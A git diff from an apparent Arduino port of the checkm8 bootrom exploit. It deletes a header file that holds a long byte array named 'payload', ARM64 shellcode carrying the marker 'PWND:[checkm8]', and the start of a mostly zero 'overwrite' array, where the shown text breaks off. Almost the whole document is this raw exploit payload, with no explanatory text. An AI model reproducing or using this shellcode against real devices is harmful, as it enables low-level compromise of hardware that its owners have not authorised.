diff --git a/checkm8_arduino/include/User_Setup.h b/checkm8_arduino/include/User_Setup.h index 0c4a1bd..7562785 100644 --- a/checkm8_arduino/include/User_Setup.h +++ b/checkm8_arduino/include/User_Setup.h @@ -1,4 +1,5 @@ #ifndef CHECKM8_ARDUINO_USER_SETUP_H #define CHECKM8_ARDUINO_USER_SETUP_H + #endif //CHECKM8_ARDUINO_USER_SETUP_H diff --git a/checkm8_arduino/include/constants.h b/checkm8_arduino/include/constants.h deleted file mode 100644 index 4009ff7..0000000 --- a/checkm8_arduino/include/constants.h +++ /dev/null @@ -1,255 +0,0 @@ -#ifndef CHECKM8_ARDUINO_CONSTANTS_H -#define CHECKM8_ARDUINO_CONSTANTS_H - -const uint8_t payload[] PROGMEM = { - 0x13, 0x00, 0x80, 0xd2, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xe0, 0x07, 0x00, 0x58, - 0x00, 0x04, 0x40, 0xa9, 0x02, 0x06, 0x00, 0x10, 0x43, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9, - 0x23, 0x10, 0x00, 0xa9, 0x43, 0x10, 0x41, 0xa9, 0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x01, 0xa9, - 0x00, 0x07, 0x00, 0x58, 0x00, 0x04, 0x00, 0x91, 0x01, 0x00, 0x40, 0x39, 0xc1, 0xff, 0xff, 0x35, - 0xa1, 0x05, 0x00, 0x10, 0x22, 0x0c, 0x40, 0xa9, 0x02, 0x0c, 0x00, 0xa9, 0x20, 0x06, 0x00, 0x58, - 0x41, 0x06, 0x00, 0x58, 0x20, 0x00, 0x3f, 0xd6, 0x41, 0x06, 0x00, 0x58, 0x20, 0x00, 0x00, 0x39, - 0x40, 0x06, 0x00, 0x58, 0xe1, 0xfc, 0xff, 0x10, 0x42, 0x06, 0x00, 0x58, 0x21, 0x00, 0x02, 0x8b, - 0x02, 0x00, 0x80, 0xd2, 0x23, 0x06, 0x00, 0x58, 0x44, 0x06, 0x00, 0x58, 0x05, 0x60, 0x00, 0x91, - 0x85, 0x00, 0x00, 0xf9, 0x23, 0x10, 0x40, 0xa9, 0x03, 0x10, 0x00, 0xa9, 0x23, 0x10, 0x41, 0xa9, - 0x03, 0x10, 0x01, 0xa9, 0x23, 0x10, 0x42, 0xa9, 0x03, 0x10, 0x02, 0xa9, 0x23, 0x10, 0x43, 0xa9, - 0x03, 0x10, 0x03, 0xa9, 0x20, 0x7e, 0x0b, 0xd5, 0xbf, 0x3f, 0x03, 0xd5, 0x00, 0x00, 0x01, 0x91, - 0x21, 0x00, 0x01, 0x91, 0x42, 0x00, 0x01, 0x91, 0x5f, 0x00, 0x03, 0xeb, 0x43, 0xfe, 0xff, 0x54, - 0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xfd, 0x7b, 0xc1, 0xa8, - 0xc0, 0x03, 0x5f, 0xd6, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00, - 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, 0x44, 0x3a, 0x5b, 0x63, 0x68, 0x65, 0x63, 0x6b, - 0x6d, 0x38, 0x5d, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x30, 0x8a, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xf8, 0x3c, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0xd1, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xda, 0x05, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x0a, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x8b, 0x08, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x47, 0x00, 0x00, 0x58, 0xe0, 0x00, 0x1f, 0xd6, 0xb8, 0xdf, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xfc, 0xff, 0xff, 0x17, 0x20, 0x00, 0x20, 0xd4, 0x02, 0x00, 0x40, 0x79, 0x5f, 0x84, 0x0a, 0x71, - 0x81, 0xff, 0xff, 0x54, 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xf4, 0x4f, 0xbf, 0xa9, - 0xf3, 0x03, 0x00, 0xaa, 0xf4, 0x0d, 0x00, 0x58, 0xe1, 0xff, 0x9f, 0x52, 0x62, 0x06, 0x40, 0x79, - 0x3f, 0x00, 0x02, 0x6b, 0xe1, 0x04, 0x00, 0x54, 0x80, 0x02, 0x40, 0xf9, 0x61, 0x0d, 0x00, 0x58, - 0x1f, 0x00, 0x01, 0xeb, 0xe1, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x0a, 0x40, 0xf9, - 0x81, 0x0e, 0x40, 0xf9, 0x82, 0x12, 0x40, 0xf9, 0x83, 0x16, 0x40, 0xf9, 0x84, 0x1a, 0x40, 0xf9, - 0x85, 0x1e, 0x40, 0xf9, 0x86, 0x22, 0x40, 0xf9, 0x87, 0x22, 0x40, 0xf9, 0x88, 0x06, 0x40, 0xf9, - 0x00, 0x01, 0x3f, 0xd6, 0xe8, 0x0b, 0x00, 0x58, 0x88, 0x02, 0x00, 0xa9, 0x15, 0x00, 0x00, 0x14, - 0xc1, 0x0b, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb, 0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, - 0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9, 0x32, 0x00, 0x00, 0x94, 0xa8, 0x0a, 0x00, 0x58, - 0x88, 0x02, 0x00, 0xf9, 0x0b, 0x00, 0x00, 0x14, 0xc1, 0x0a, 0x00, 0x58, 0x1f, 0x00, 0x01, 0xeb, - 0x01, 0x01, 0x00, 0x54, 0x9f, 0x02, 0x00, 0xf9, 0x80, 0x06, 0x41, 0xa9, 0x82, 0x12, 0x40, 0xf9, - 0x0e, 0x00, 0x00, 0x94, 0x68, 0x09, 0x00, 0x58, 0x88, 0x02, 0x00, 0xf9, 0x01, 0x00, 0x00, 0x14, - 0x00, 0x10, 0x80, 0x52, 0xe1, 0x03, 0x14, 0xaa, 0x62, 0x0e, 0x40, 0x79, 0x03, 0x00, 0x80, 0xd2, - 0x44, 0x09, 0x00, 0x58, 0x80, 0x00, 0x3f, 0xd6, 0x00, 0x00, 0x80, 0x52, 0xf4, 0x4f, 0xc1, 0xa8, - 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0xe3, 0xc3, 0x00, 0xb2, 0x21, 0x1c, 0x40, 0x92, - 0x21, 0x7c, 0x03, 0x9b, 0xe3, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1, 0xa3, 0x00, 0x00, 0x54, - 0x01, 0x00, 0x00, 0xf9, 0x00, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1, 0xfb, 0xff, 0xff, 0x17, - 0x5f, 0x10, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91, - 0x42, 0x10, 0x00, 0xd1, 0x5f, 0x08, 0x00, 0xf1, 0x83, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xb9, - 0x00, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1, 0x82, 0x00, 0x00, 0xb4, 0x01, 0x00, 0x00, 0xb9, - 0x00, 0x04, 0x00, 0x91, 0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x03, 0xaa, 0xc0, 0x03, 0x5f, 0xd6, - 0xe4, 0x03, 0x00, 0xaa, 0x5f, 0x20, 0x00, 0xf1, 0xe3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xf9, - 0x03, 0x00, 0x00, 0xf9, 0x00, 0x20, 0x00, 0x91, 0x21, 0x20, 0x00, 0x91, 0x42, 0x20, 0x00, 0xd1, - 0xf9, 0xff, 0xff, 0x17, 0x5f, 0x10, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0xb9, - 0x03, 0x00, 0x00, 0xb9, 0x00, 0x10, 0x00, 0x91, 0x21, 0x10, 0x00, 0x91, 0x42, 0x10, 0x00, 0xd1, - 0x5f, 0x08, 0x00, 0xf1, 0xc3, 0x00, 0x00, 0x54, 0x23, 0x00, 0x40, 0x79, 0x03, 0x00, 0x00, 0x79, - 0x00, 0x08, 0x00, 0x91, 0x21, 0x08, 0x00, 0x91, 0x42, 0x08, 0x00, 0xd1, 0xc2, 0x00, 0x00, 0xb4, - 0x23, 0x00, 0x40, 0x39, 0x03, 0x00, 0x00, 0x39, 0x00, 0x04, 0x00, 0x91, 0x21, 0x04, 0x00, 0x91, - 0x42, 0x04, 0x00, 0xd1, 0xe0, 0x03, 0x04, 0xaa, 0xc0, 0x03, 0x5f, 0xd6, 0x1f, 0x20, 0x03, 0xd5, - 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x63, 0x65, 0x78, 0x65, 0x63, 0x65, 0x78, 0x65, - 0x65, 0x6e, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x64, 0x63, 0x6d, 0x65, 0x6d, 0x63, 0x6d, 0x65, 0x6d, - 0x73, 0x6d, 0x65, 0x6d, 0x73, 0x6d, 0x65, 0x6d, 0x98, 0xdc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa5, 0x06, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x25, 0x06, 0x00, 0x80, 0x01, 0x00, 0x60, 0x00, 0xa5, 0x06, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xe1, 0x07, 0x61, 0xb2, 0x22, 0x80, 0x42, 0x91, 0x21, 0x94, 0x18, 0x91, 0x41, 0x00, 0x03, 0xf9, - 0xbf, 0x3f, 0x03, 0xd5, 0xa0, 0x01, 0x82, 0xd2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, - 0xdf, 0x3f, 0x03, 0xd5, 0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x10, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x06, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0xa4, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe4, 0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xd0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x08, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0xcc, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x06, 0x0b, 0x82, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x0a, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe4, 0x03, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xa5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x80, 0x01, 0x00, 0x00, 0x00 -}; - -const uint8_t overwrite[] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 